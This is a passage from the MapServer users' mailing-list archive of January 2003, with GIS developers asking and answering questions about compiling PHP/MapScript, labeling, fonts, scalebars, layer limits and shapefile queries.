configuration of PHP/Mapscript. For the configuration I put on the following doit-php4 file: rm config.cache make clean ./configure \ --prefix=/usr \ --bindir=/usr/bin \ --libdir=/usr/lib \ --with-exec-dir=%{libdir}/php/bin \ --with-mysql \ --with-tiff-dir=/usr \ --with-jpeg-dir=/usr \ --with-png-dir=/usr \ --with-gif-dir=/usr \ --with-zlib=yes \ --enable-track-vars \ --enable-magic-quotes \ --enable-safe-mode \ --enable-sockets \ --enable-dbase \ --with-config-file-path=/etc/httpd \ --with-regex=system \ --enable-shared \ --with-gd=/usr/frauke/bibliotheken/gd-1.8.4 \ --with-freetype-dir=/usr/include/freetype2 \ --enable-native-gd-ttf Here is a call of GDAL missing? The MapServer is configured --with-gdal. Frauke -- +++ GMX - Mail, Messaging & more http://www.gmx.net +++ NEU: Mit GMX ins Internet. Rund um die Uhr f?r 1 ct/ Min. surfen! From lfilak at medinaco.org Mon Jan 13 06:04:14 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 13 Jan 2003 09:04:14 -0500 Subject: [Mapserver-users] Accessing the spatial part of a shp file Message-ID: <200301131401.h0DE14R24217@yogi.medinaco.net> If your using/use Mapscript you can access the least bounding rectangle of a shape via shapeObj->{bounds}. If your dealing with standard shapefile data, for searching and selecting using the attributes you have different choices. The critical thing is to make sure you have an attribute that identifies the record number starting at 0 as that value will relate to the shape index. After you query and select a record by the attributes you can use the record number attribute to select that shape by it's index and then read the bounds of the shape. You can either 'use' an XBase module in your code that will allow you to read the DBF files directly or you can load the DBF files into a different database and 'use' the module(s) that allow you to read from that database. You should be able to find a Lot more discussion on this topic in the archives. HTH Lowell F. The following message was sent by "Steve McCrone" on Sun, 12 Jan 2003 22:25:29 +0800. > Hi gain, > > Would like to get some ideas on how to access the coordinates of a spatial > shape. > My goal is to have the user 'locate' (i.e. pan & zoom) to a spatial data. > > In other words, the user would select from a list of roads, for example, and > then push a 'find' button. The > map would zom and pan to the road. Once I extract the coordinates that make > up the road > I could adjust the map extants to zoom & pan. > > I was hoping that i could perform a record search on the shape file, find > the record that contains the attribute (name for example), > extract the coordinates of the polyline, point or polygon and then adjust > the map. > > Or do I have to create a separate table that contains a pre-defined centre > coordinate of the spatial data and then use this > to adjust the map extents. > > Thanks > Steve > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Tom.Kralidis at CCRS.NRCan.gc.ca Mon Jan 13 07:59:56 2003 From: Tom.Kralidis at CCRS.NRCan.gc.ca (Tom.Kralidis at CCRS.NRCan.gc.ca) Date: Mon, 13 Jan 2003 10:59:56 -0500 Subject: [Mapserver-users] web error object Message-ID: <7CDD7B94357FD5119E800002A537C46E04FA1AA9@s5-ccr-r1.ccrs.nrcan.gc.ca> Hi, In MapServer CGI, there is a WEB/ERROR object to give an HTML page when an error occurs. Is there a way to show the error message in the error HTML file (something like [error_message]? I would like to point to an error page within my app's look and feel, but I'd also like to show what the error was. Thanks ..Tom From LEllenbecker at co.winnebago.wi.us Mon Jan 13 08:03:20 2003 From: LEllenbecker at co.winnebago.wi.us (Ellenbecker, Larry) Date: Mon, 13 Jan 2003 10:03:20 -0600 Subject: [Mapserver-users] TrueType Font and Label Angle Message-ID: List, I'm trying to get true type fonts working with my application on Linux. The application is up a running on both Linux and NT. True type fonts are working just fine on NT, but on Linux I've had the following problems. My application is straight CGI. System Specs: RedHat 7.0 with freetype-1..3.1. freetype-2.1.2, gd-2.0.9 and mapserver-3.6.1. After compiling and installing both freetype fonts and GD, I compiled mapsever and got the msGetLabelSize(): Could not find/open font. Initaially my application was sitting at: /var/www/html/simple with simple.map FONSET fonts/fonts.txt When I moved my fonts directory to /var/www/html/fonts and changed simple.map FONSET ../fonts/fonts.txt I was able to use true type font arial in my application. I then ran into the next issue with Label Angle. I couldn't get the labels to follow the appropriate line orientation as it does on my NT version. I researched the list and found Jonathan Lowe's "line layer label angle changes(solved)" . I've tried to follow these directions but am still unable to get the labels to plot with the correct orientation of the line. The BUFFER, BACKGROUNDSHADOWSIZE AND BACKGROUNDCOLOR create a background box oriented in the appropriate position but the text doesn't hit the background box. Has anyone got a sure fire method for resolving truetype label angle problems - I'd sure appreciate any assistance. Larry L. Ellenbecker GIS Systems Analyst Winnebago County From jdeck at socrates.Berkeley.EDU Mon Jan 13 08:57:10 2003 From: jdeck at socrates.Berkeley.EDU (John Deck) Date: Mon, 13 Jan 2003 08:57:10 -0800 Subject: [Mapserver-users] Strange Label Problem Message-ID: <000301c2bb24$d03adad0$38d62080@JDECKLAP> This is a multi-part message in MIME format. ------=_NextPart_000_0004_01C2BAE1.C2192170 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I am using the ESRI County Shapefile Layer (that comes with ArcView 3.1). I am able to label counties successfully using the mapfile that I have posted below. It works for all counties that I have tested except for "Nevada County" in California. It Labels Nevada County Arkansas but not the one in California. I've tested cases where there are multiple county names from different states and they work fine. I have also ported the data over to postgis and checked the topology and everything seems fine. Also, I've tried every combination of label parameters that could affect drawing labels. This is frustrating because it is apparently random and only fails with Nevada County. Any help/advice on people who have encountered similar behaviour would be appreciated! I'm using Mapserver 3.6 on Redhat 7.3. The shape file is at: http://bnhmdev.berkeley.edu/test/data/counties.zip And a demo is at: http://bnhmdev.berkeley.edu/cgi-bin/mapserv?map=/usr/local/apps/html/map script/sa_map3.map &mode=map&layer=us_county Following is my mapfile: MAP EXTENT -149.454 -5.81713 -64.9307 78.781 IMAGETYPE PNG SIZE 400 400 UNITS DD NAME "SA_MAP2" SHAPEPATH "../test/data" PROJECTION "proj=latlong" END WEB IMAGEPATH "/usr/local/apps/html/tmp/ms_tmp/" IMAGEURL "http://bnhmdev.berkeley.edu/tmp/ms_tmp/" LOG "/tmp/sa_map2.log" MAXSCALE 500000000000 MINSCALE 1 END LAYER NAME us_county STATUS ON TYPE POLYGON STATUS DEFAULT DATA counties CLASSITEM "name" LABELITEM "name" LABELMAXSCALE 500000000 LABELMINSCALE 1 SIZEUNITS PIXELS TEMPLATE "template.html" TOLERANCE 3 TOLERANCEUNITS PIXELS TYPE POLYGON UNITS METERS CLASS COLOR 255 0 100 EXPRESSION "Nevada" LABEL COLOR 255 255 0 MAXSIZE 256 MINSIZE 1 TYPE BITMAP SIZE TINY COLOR 100 0 0 FORCE TRUE MINDISTANCE 1 MINFEATURESIZE 0 PARTIALS TRUE POSITION AUTO END MAXSIZE 100 MINSIZE 1 OUTLINECOLOR 255 0 0 SIZE 1 SYMBOL 0 END END END ------=_NextPart_000_0004_01C2BAE1.C2192170 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I am using the ESRI County Shapefile Layer (that comes with ArcView 3.1).  I am able to label counties = successfully using the mapfile that I have posted = below.  It works for all counties that = I have tested except for “Nevada = County” in = California.  It Labels = Nevada County = Arkansas  = but not the one in California.  I’ve tested cases where = there are multiple county names from different states and they work fine.  I have also ported the data = over to postgis and checked the = topology and everything seems fine.  = Also, I’ve tried every combination of label parameters that could affect drawing labels.

 

This is frustrating because it is apparently random = and only fails with Nevada = County.   Any help/advice on people = who have encountered similar behaviour would be appreciated!  I’m = using Mapserver 3.6 on Redhat 7.3.

 

The shape file is at:

http://bnhmde= v.berkeley.edu/test/data/counties.zip

 

And a demo is at:

http://= bnhmdev.berkeley.edu/cgi-bin/mapserv?map=3D/usr/local/apps/html/mapscript= /sa_map3.map&mode=3Dmap&layer=3Dus_county

 

Following is my mapfile:

MAP

  EXTENT -149.454 = -5.81713 -64.9307 78.781

  IMAGETYPE = PNG

  SIZE 400 400

  UNITS = DD

  NAME = "SA_MAP2"

  SHAPEPATH "../test/data"

 

  = PROJECTION

    = "proj=3Dlatlong"

  = END

 

  = WEB

    = IMAGEPATH "/usr/local/apps/html/tmp/ms_tmp/"

    = IMAGEURL "http://bnhmdev.berkeley.edu/tmp/ms_tmp/"

    LOG "/tmp/sa_map2.log"

    = MAXSCALE 500000000000

    = MINSCALE 1

  = END

 

LAYER

  NAME us_county

  STATUS = ON

  TYPE = POLYGON

STATUS DEFAULT

  = DATA counties

  = CLASSITEM "name"

  = LABELITEM "name"

  = LABELMAXSCALE 500000000

  LABELMINSCALE 1

  = SIZEUNITS PIXELS

  = TEMPLATE "template.html"

  = TOLERANCE 3

  TOLERANCEUNITS PIXELS

  = TYPE POLYGON

  = UNITS METERS

  = CLASS

    COLOR 255 0 100

    EXPRESSION = "Nevada&= quot;

    LABEL

        COLOR 255 255 = 0

        MAXSIZE 256

   =      MINSIZE = 1

        = TYPE BITMAP

        = SIZE TINY

        COLOR 100 0 0

        FORCE TRUE

        MINDISTANCE 1

        MINFEATURESIZE 0

        PARTIALS TRUE

        POSITION AUTO

    END

    MAXSIZE 100

    MINSIZE 1

    OUTLINECOLOR 255 0 0

    SIZE 1

    SYMBOL 0

  = END

END

 

END

 

------=_NextPart_000_0004_01C2BAE1.C2192170-- From steve.lime at dnr.state.mn.us Mon Jan 13 10:32:44 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 13 Jan 2003 12:32:44 -0600 Subject: [Mapserver-users] Accessing the spatial part of a shp file Message-ID: You can do just that. Query templates allow you to access at least some spatial information about each shape. The [shpext] replacement string will get you the bounding box of the feature (suitable for use in creating a map or initializing an interface) and the [shpmid] gets you the mid-point of the bounding box. Also useful for creating a map or interface when pair with a scale value. To do this, in general: Steve >>> "Steve McCrone" 01/12/03 08:25AM >>> Hi gain, Would like to get some ideas on how to access the coordinates of a spatial shape. My goal is to have the user 'locate' (i.e. pan & zoom) to a spatial data. In other words, the user would select from a list of roads, for example, and then push a 'find' button. The map would zom and pan to the road. Once I extract the coordinates that make up the road I could adjust the map extants to zoom & pan. I was hoping that i could perform a record search on the shape file, find the record that contains the attribute (name for example), extract the coordinates of the polyline, point or polygon and then adjust the map. Or do I have to create a separate table that contains a pre-defined centre coordinate of the spatial data and then use this to adjust the map extents. Thanks Steve _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Mon Jan 13 10:35:24 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 13 Jan 2003 12:35:24 -0600 Subject: [Mapserver-users] web error object Message-ID: Um, no. The error URL is not a template. It's just a page the user gets redirected to. Please file this in bugzilla as a feature request... Steve >>> 01/13/03 09:59AM >>> Hi, In MapServer CGI, there is a WEB/ERROR object to give an HTML page when an error occurs. Is there a way to show the error message in the error HTML file (something like [error_message]? I would like to point to an error page within my app's look and feel, but I'd also like to show what the error was. Thanks ..Tom _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mapsurf at midsouth.rr.com Sat Jan 11 10:33:59 2003 From: mapsurf at midsouth.rr.com (mapsurfer) Date: Sat, 11 Jan 2003 12:33:59 -0600 Subject: [Mapserver-users] RE: Geocode Lat/Long Decimal Degrees Message-ID: <000f01c2b9a0$025424d0$0a00a8c0@siliconmapping.com> This is a multi-part message in MIME format. ------=_NextPart_000_000C_01C2B96D.B7663DA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Don, I got a reverse geocoder running at http://www.siliconmapping.com/cgi-bin/rgeocoder?lat=3D&lon=3D where and are values in decimal degrees=20 http://www.siliconmapping.com/cgi-bin/rgeocoder?lat=3D33.57778&lon=3D-101= .85472 Regards, Chris Stuber (mapsurfer) > Hi fellow listers! >=20 > I've been looking for a custom mapserver query that will all a user to = key > in Lat/Long coordinates in decimal degrees, and plot that point on a = map. > Does anyone know of an existing mapserver application that will do = this? I > haven't come across that functionality. I'm not looking for batch > geocoding, but an interface where a pair of coordinates is typed into = a > dialog box resulting with that point on the map. If new coordinates = are > typed then the point changes location. > > Thanks, > > Don Becker > Lubbock Emergency Communication District ------=_NextPart_000_000C_01C2B96D.B7663DA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Don,
 
I got a reverse geocoder running = at
http://www.siliconmapping.com/cgi-bin/rgeocoder?lat=3D<lat>= ;&lon=3D<lon>
 
where <lat> and <lon> are = values in=20 decimal degrees
 
http://www.siliconmapping.com/cgi-bin/rgeocoder?lat=3D= 33.57778&lon=3D-101.85472
 
Regards,
 
Chris Stuber (mapsurfer)
 
> Hi fellow=20 listers!
>
> I've been = looking for a=20 custom mapserver query that will all a user to key
> in Lat/Long=20 coordinates in decimal degrees, and plot that point on a map.
> = Does=20 anyone know of an existing mapserver application that will do this? = I
>=20 haven't come across that functionality.  I'm not looking for = batch
>=20 geocoding, but an interface where a pair of coordinates is typed into = a
>=20 dialog box resulting with that point on the map.  If new = coordinates=20 are
> typed then the point changes location.
>
> Thanks,
>
> Don Becker
> Lubbock Emergency = Communication=20 District

------=_NextPart_000_000C_01C2B96D.B7663DA0-- From Antti.Roppola at brs.gov.au Sun Jan 12 15:35:26 2003 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Mon, 13 Jan 2003 10:35:26 +1100 Subject: [Mapserver-users] Problems with zoomrectangle function Message-ID: <3E4215C93D3CE24D84A9FF385DF88D871447EB@afeb-ms-02> I had a glitch similar to this. Can't recall exactly what it was, but it involved extent variables being left empty until I did something to change the extent of the map. I solved it by making sure the default extent was read into those variables. Antti Benjamin Wragg wrote: > When I change my map extents so I'm zoomed in on the map (I can do > this by using a tool which sets the extent coordinates manually), > my tool starts to work. I can't figure out why? No errors are being > generated at any of the times the zoom doesn't work. From info at giswebsite.com Mon Jan 13 09:53:18 2003 From: info at giswebsite.com (Jonathan W. Lowe) Date: Mon, 13 Jan 2003 09:53:18 -0800 Subject: [Mapserver-users] TrueType Font and Label Angle In-Reply-To: References: Message-ID: <1042480398.3e22fd0eaaa17@webmail.lmi.net> Larry, For what it's worth, my installation on RedHat 8.0 didn't have the label angle problems, so it is possible to successfully compile the software on Linux. At one point in my efforts to overcome the label angle problems, I found a reference that said the mere presence of freetype2 might force the compiler to use freetype2 (the supposed culprit in the label angle problem) rather than freetype1. Do you have root access to the system on which you are compiling? I had to isolate libraries like gd and freetype in a local directory in order to be sure my compilation used exactly the libraries I intended it to use. Hope this helps. (I'm still dealing with the label angle problem on FreeBSD as it turns out, so am hoping for more insight also.) Jonathan Quoting "Ellenbecker, Larry" : > List, > > I'm trying to get true type fonts working with my application on Linux. The > application is up a running on both Linux and NT. True type fonts are > working just fine on NT, but on Linux I've had the following problems. My > application is straight CGI. > > System Specs: RedHat 7.0 with freetype-1..3.1. freetype-2.1.2, gd-2.0.9 > and mapserver-3.6.1. > > After compiling and installing both freetype fonts and GD, > I compiled mapsever and got the msGetLabelSize(): Could not find/open font. > Initaially my application was sitting at: > > /var/www/html/simple with simple.map FONSET > fonts/fonts.txt > > When I moved my fonts directory to /var/www/html/fonts and > changed simple.map FONSET ../fonts/fonts.txt I was able to use true type > font arial in my application. I then ran into the next issue with Label > Angle. I couldn't get the labels to follow the appropriate line orientation > as it does on my NT version. I researched the list and found Jonathan > Lowe's "line layer label angle changes(solved)" . I've tried to follow > these directions but am still unable to get the labels to plot with the > correct orientation of the line. The BUFFER, BACKGROUNDSHADOWSIZE AND > BACKGROUNDCOLOR create a background box oriented in the appropriate > position but the text doesn't hit the background box. > > Has anyone got a sure fire method for resolving truetype > label angle problems - I'd sure appreciate any assistance. > > Larry L. Ellenbecker > GIS Systems Analyst > Winnebago County > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Jonathan W. Lowe email - info at giswebsite.com website - http://www.giswebsite.com From gabriel at ciasc.gov.br Mon Jan 13 13:47:01 2003 From: gabriel at ciasc.gov.br (gabriel) Date: Mon, 13 Jan 2003 18:47:01 -0300 Subject: [Mapserver-users] Error Status: 302 References: Message-ID: <00df01c2bb4d$4e28ae40$12d713ac@ciasc.gov.br> Somebody can give an aid to me on this error ? Status: 302 Found Uri: /erro.html Location: /erro.html Content-type: text/html My MS is: [mapserver at lnciasc01 cgi-bin]$ ./mapserv -v MapServer version 3.6.3 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Thanks. Ferrari, Gabriel Florian?polis, SC, Brasil From wzhang at c-cor.net Mon Jan 13 17:30:12 2003 From: wzhang at c-cor.net (Zhang, William) Date: Mon, 13 Jan 2003 20:30:12 -0500 Subject: [Mapserver-users] column index in the dbf file Message-ID: <68107A9AF023EA439FF7CC2AD02D8FE503A588@pltnpo1.c-cor.com> Hi, When we use ArcView, we can optimize the performance by opening the attribute table of the shape file and creating index on the selected column. Does MapServer have similar mechanism? If yes, could somebody tell me how to turn on the index? If no, may I get some clues on how to add this function in the C files? I already build shptrees and tileindexs. But I still like to add indexes in the dbf files to improve the performance further. Thanks, William Zhang Software Engineer C-Cor.net 5673 Gibraltar Dr., Suite 100 Pleasanton, CA 94588 Phone: (925) 251-3019 Fax: (925) 467-0600 E-Mail: wzhang at c-cor.net From Tom.Kralidis at CCRS.NRCan.gc.ca Mon Jan 13 19:23:08 2003 From: Tom.Kralidis at CCRS.NRCan.gc.ca (Tom.Kralidis at CCRS.NRCan.gc.ca) Date: Mon, 13 Jan 2003 22:23:08 -0500 Subject: [Mapserver-users] changing scalebar on the fly Message-ID: <7CDD7B94357FD5119E800002A537C46E04FA1AB5@s5-ccr-r1.ccrs.nrcan.gc.ca> Hi, Using MapServer CGI 3.5, my mapfile defines a scalebar as follows: SCALEBAR STATUS ON INTERVALS 4 SIZE 200 2 STYLE 1 COLOR 255 255 255 OUTLINECOLOR 0 0 0 UNITS KILOMETERS TRANSPARENT ON LABEL COLOR 255 255 255 SIZE SMALL END END ...for maps viewed in lat/long. My mapfile is geared towards a lat/long (or EPSG 4326) application, and object defs are defined as such. However, my when my app changes to LCC, I'd like the units of my scalebar to be meters to accomodate this. I tried passing this to the CGI with 'map_scalebar_units=meters', which seems to have been recognized (units sign in output scalebar is 'm'), but it appears as if all the text and interval drawings become drawn atop eachother. Here's an example snapshot: http://132.156.10.239/prototypes/owsview/cache/ms_scalebar_issue.png Any ideas as to what's going on here? Thanks alot ..Tom ================================= Tom Kralidis Systems Scientist Canada Centre for Remote Sensing Tel: (613) 947-1828 http://www.ccrs.nrcan.gc.ca/ ================================= From vaidas.velykis at klet.vest.lt Tue Jan 14 00:10:30 2003 From: vaidas.velykis at klet.vest.lt (Vaidas Velykis) Date: Tue, 14 Jan 2003 10:10:30 +0200 Subject: [Mapserver-users] Too many layers Message-ID: <002b01c2bba4$676d4440$9a0413ac@ittvaidas> This is a multi-part message in MIME format. ------=_NextPart_000_0028_01C2BBB5.2AE7BC60 Content-Type: text/plain; charset="iso-8859-4" Content-Transfer-Encoding: quoted-printable I`m sorry for my poor english:) Mapserv returns such error line: msLoadMap(): Unknown identifier. Too = many layers defined I have map of electricity supply system, in wich are 3 basic elements: = lines, pylons and substations. But all the electricity supply system I = must graduated by regions: one layer - one basic element in that region. = So, for one region I have 3 grouped layers. In map, user chooses, wich = regions (grouped layers) he wants to see in map. There are ~42regions, = that equals 126 layers. How can I make my mapserv work? In previuos posts I read about tileindex. But in my case, I think, that = doesn`t work, because with tileindex user in map will see only 3 layers: = lines, pylons and substations, and can`t choose any separate region. Or = i`m I wrong? Besides, I can`t compile map.h file (now MS_Maxlayers=3D100): when I = compile map.h with MS_Maxlayers=3D400, mapserv returns the same error. = What can be wrong? Thanks in advance, Vaidas Velykis Lithuania ------=_NextPart_000_0028_01C2BBB5.2AE7BC60 Content-Type: text/html; charset="iso-8859-4" Content-Transfer-Encoding: quoted-printable
I`m sorry for my poor = english:)
 
Mapserv returns such error line: msLoadMap(): Unknown identifier. Too = many layers=20 defined
 
I have map of electricity supply = system, in=20 wich are 3 basic elements: lines, pylons and substations. But all = the=20 electricity supply system I must graduated by regions: one layer - one = basic=20 element in that region. So, for one region I have 3 grouped layers. In = map, user=20 chooses, wich regions (grouped layers) he wants to see in map. = There are=20 ~42regions, that equals 126 layers.
How can I make my mapserv = work?
In previuos posts I read about = tileindex. But in my=20 case, I think, that doesn`t work, because with tileindex user in map = will see=20 only 3 layers: lines, pylons and substations, and = can`t choose any=20 separate region. Or i`m I wrong?
 
Besides, I can`t compile map.h = file (now=20 MS_Maxlayers=3D100): when I compile map.h with MS_Maxlayers=3D400, = mapserv returns=20 the same error. What can be wrong?
 
Thanks in advance,
Vaidas Velykis
Lithuania
------=_NextPart_000_0028_01C2BBB5.2AE7BC60-- From stepan.kafka at centrum.cz Tue Jan 14 01:08:01 2003 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Tue, 14 Jan 2003 10:08:01 +0100 Subject: [Mapserver-users] Too many layers In-Reply-To: <002b01c2bba4$676d4440$9a0413ac@ittvaidas> Message-ID: <001301c2bbac$704982b0$7e3c2fc3@HSGIS> This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C2BBB4.D20DEAB0 Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: 8bit Hi Vaidas, with tileindex user can see all data across the all regions as seamless dataset. It may be useful for you - or not? If you can choose only one region and display it, you can do it by changing underlying dataset names (or paths) on-fly using cgi variables, e.g. map_yourlayer_data="/region2/pylons" It requires probably more javascript in your page to switch the desired region. But you will have only 3 layers in your mapfile. (About compiling mapserver - We were successful with increasing the number of layers as well as classes etc. I don't know, why it doesn't work.) Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz http://www.bnhelp.cz -----P?vodn? zpr?va----- Od: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele Vaidas Velykis Odesl?no: 14. ledna 2003 9:11 Komu: mapserver-users at lists.gis.umn.edu P?edm?t: [Mapserver-users] Too many layers I`m sorry for my poor english:) Mapserv returns such error line: msLoadMap(): Unknown identifier. Too many layers defined I have map of electricity supply system, in wich are 3 basic elements: lines, pylons and substations. But all the electricity supply system I must graduated by regions: one layer - one basic element in that region. So, for one region I have 3 grouped layers. In map, user chooses, wich regions (grouped layers) he wants to see in map. There are ~42regions, that equals 126 layers. How can I make my mapserv work? In previuos posts I read about tileindex. But in my case, I think, that doesn`t work, because with tileindex user in map will see only 3 layers: lines, pylons and substations, and can`t choose any separate region. Or i`m I wrong? Besides, I can`t compile map.h file (now MS_Maxlayers=100): when I compile map.h with MS_Maxlayers=400, mapserv returns the same error. What can be wrong? Thanks in advance, Vaidas Velykis Lithuania ------=_NextPart_000_0014_01C2BBB4.D20DEAB0 Content-Type: text/html; charset="windows-1250" Content-Transfer-Encoding: quoted-printable
Hi=20 Vaidas,
 =20 with tileindex user can see all data across the all regions as seamless = dataset.=20 It may be useful for you - or not? If you can choose only one region and = display=20 it, you can do it by changing underlying dataset names (or=20 paths) on-fly using cgi variables, e.g.
 
map_yourlayer_data=3D"/region2/pylons"
 
It=20 requires probably more javascript in your page to switch the desired=20 region. But you = will have only=20 3 layers in your mapfile.
(About=20 compiling mapserver - We were successful with increasing the number of = layers as=20 well as classes etc. I don't know, why it doesn't = work.)
 

Stepan = Kafka
Help Service Remote = Sensing
tel:=20 +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz=20

-----P=F9vodn=ED zpr=E1va-----
Od:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu]za u=9Eivatele = Vaidas=20 Velykis
Odesl=E1no: 14. ledna 2003 9:11
Komu:=20 mapserver-users at lists.gis.umn.edu
P=F8edm=ECt: = [Mapserver-users] Too=20 many layers

I`m sorry for my poor = english:)
 
Mapserv returns such error line: = msLoadMap(): Unknown identifier. Too = many layers=20 defined
 
I have map of electricity supply = system, in=20 wich are 3 basic elements: lines, pylons and substations. But all = the=20 electricity supply system I must graduated by regions: one layer - one = basic=20 element in that region. So, for one region I have 3 grouped layers. In = map,=20 user chooses, wich regions (grouped layers) he wants to see in = map. There=20 are ~42regions, that equals 126 layers.
How can I make my mapserv = work?
In previuos posts I read about = tileindex. But in=20 my case, I think, that doesn`t work, because with tileindex user in = map will=20 see only 3 layers: lines, pylons and substations, and=20 can`t choose any separate region. Or i`m I = wrong?
 
Besides, I can`t compile map.h = file (now=20 MS_Maxlayers=3D100): when I compile map.h with MS_Maxlayers=3D400, = mapserv returns=20 the same error. What can be wrong?
 
Thanks in advance,
Vaidas Velykis
Lithuania
------=_NextPart_000_0014_01C2BBB4.D20DEAB0-- From vaidas.velykis at klet.vest.lt Tue Jan 14 02:38:27 2003 From: vaidas.velykis at klet.vest.lt (Vaidas Velykis) Date: Tue, 14 Jan 2003 12:38:27 +0200 Subject: [Mapserver-users] Too many layers References: <001301c2bbac$704982b0$7e3c2fc3@HSGIS> Message-ID: <002501c2bbb9$12abad60$9a0413ac@ittvaidas> This is a multi-part message in MIME format. ------=_NextPart_000_0022_01C2BBC9.D604E1E0 Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: quoted-printable Thanks for soon answer and idea, how to split regions on the map. But I still thinking, why I can`t increase MS_Maxlayers: then I try to = increase MS_Maxlayers, nothing changes. When I decrease MS_Maxlayer to = 15, my smaller map (~20 layers) doesn`t work (same error - msLoadMap(): = Unknown identifier. Too many layers defined). Compilation with increased = MS_Maxlayer doesn`t give any errors... Maybe MS_Maxlayers depends on = MS_Maxclasses, or on something else? ----- Original Message -----=20 From: Stepan Kafka=20 To: Vaidas Velykis ; mapserver-users at lists.gis.umn.edu=20 Sent: Tuesday, January 14, 2003 11:08 AM Subject: RE: [Mapserver-users] Too many layers Hi Vaidas, with tileindex user can see all data across the all regions as = seamless dataset. It may be useful for you - or not? If you can choose = only one region and display it, you can do it by changing underlying = dataset names (or paths) on-fly using cgi variables, e.g. map_yourlayer_data=3D"/region2/pylons" It requires probably more javascript in your page to switch the = desired region. But you will have only 3 layers in your mapfile.=20 (About compiling mapserver - We were successful with increasing the = number of layers as well as classes etc. I don't know, why it doesn't = work.) Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz http://www.bnhelp.cz=20 -----P=F9vodn=ED zpr=E1va----- Od: mapserver-users-admin at lists.gis.umn.edu = [mailto:mapserver-users-admin at lists.gis.umn.edu]za u=9Eivatele Vaidas = Velykis Odesl=E1no: 14. ledna 2003 9:11 Komu: mapserver-users at lists.gis.umn.edu P=F8edm=ECt: [Mapserver-users] Too many layers I`m sorry for my poor english:) Mapserv returns such error line: msLoadMap(): Unknown identifier. = Too many layers defined I have map of electricity supply system, in wich are 3 basic = elements: lines, pylons and substations. But all the electricity supply = system I must graduated by regions: one layer - one basic element in = that region. So, for one region I have 3 grouped layers. In map, user = chooses, wich regions (grouped layers) he wants to see in map. There are = ~42regions, that equals 126 layers. How can I make my mapserv work? In previuos posts I read about tileindex. But in my case, I think, = that doesn`t work, because with tileindex user in map will see only 3 = layers: lines, pylons and substations, and can`t choose any separate = region. Or i`m I wrong? Besides, I can`t compile map.h file (now MS_Maxlayers=3D100): when I = compile map.h with MS_Maxlayers=3D400, mapserv returns the same error. = What can be wrong? Thanks in advance, Vaidas Velykis Lithuania ------=_NextPart_000_0022_01C2BBC9.D604E1E0 Content-Type: text/html; charset="windows-1250" Content-Transfer-Encoding: quoted-printable
Thanks for soon answer and idea, how to = split=20 regions on the map.
But I still thinking, why I can`t = increase=20 MS_Maxlayers: then I try to increase MS_Maxlayers, nothing changes. When = I=20 decrease MS_Maxlayer to 15, my smaller map (~20 layers) doesn`t work = (same error=20 - msLoadMap(): Unknown = identifier. Too many=20 layers defined). Compilation with increased MS_Maxlayer doesn`t give any = errors... Maybe MS_Maxlayers depends on MS_Maxclasses, or on something=20 else?
----- Original Message -----
From:=20 Stepan=20 Kafka
To: Vaidas Velykis ; mapserver-users at lists.g= is.umn.edu=20
Sent: Tuesday, January 14, 2003 = 11:08=20 AM
Subject: RE: [Mapserver-users] = Too many=20 layers

Hi=20 Vaidas,
  with tileindex user can see all data across the all = regions as=20 seamless dataset. It may be useful for you - or not? If you can choose = only=20 one region and display it, you can do it by changing underlying = dataset=20 names (or paths) on-fly using cgi variables,=20 e.g.
 
map_yourlayer_data=3D"/region2/pylons"
 
It=20 requires probably more javascript in your page to switch the desired=20 region. But = you will have=20 only 3 layers in your mapfile.
(About compiling mapserver - We were successful with = increasing the=20 number of layers as well as classes etc. I don't know, why it doesn't=20 work.)
 

Stepan = Kafka
Help Service Remote=20 Sensing
tel: +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz

-----P=F9vodn=ED zpr=E1va-----
Od:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu]za = u=9Eivatele Vaidas=20 Velykis
Odesl=E1no: 14. ledna 2003 9:11
Komu:=20 mapserver-users at lists.gis.umn.edu
P=F8edm=ECt: = [Mapserver-users] Too=20 many layers

I`m sorry for my poor = english:)
 
Mapserv returns such error line: = msLoadMap(): Unknown identifier. = Too many=20 layers defined
 
I have map of electricity = supply system,=20 in wich are 3 basic elements: lines, pylons and substations. = But all=20 the electricity supply system I must graduated by regions: one layer = - one=20 basic element in that region. So, for one region I have 3 grouped = layers. In=20 map, user chooses, wich regions (grouped layers) he wants to = see in=20 map. There are ~42regions, that equals 126 layers.
How can I make my mapserv = work?
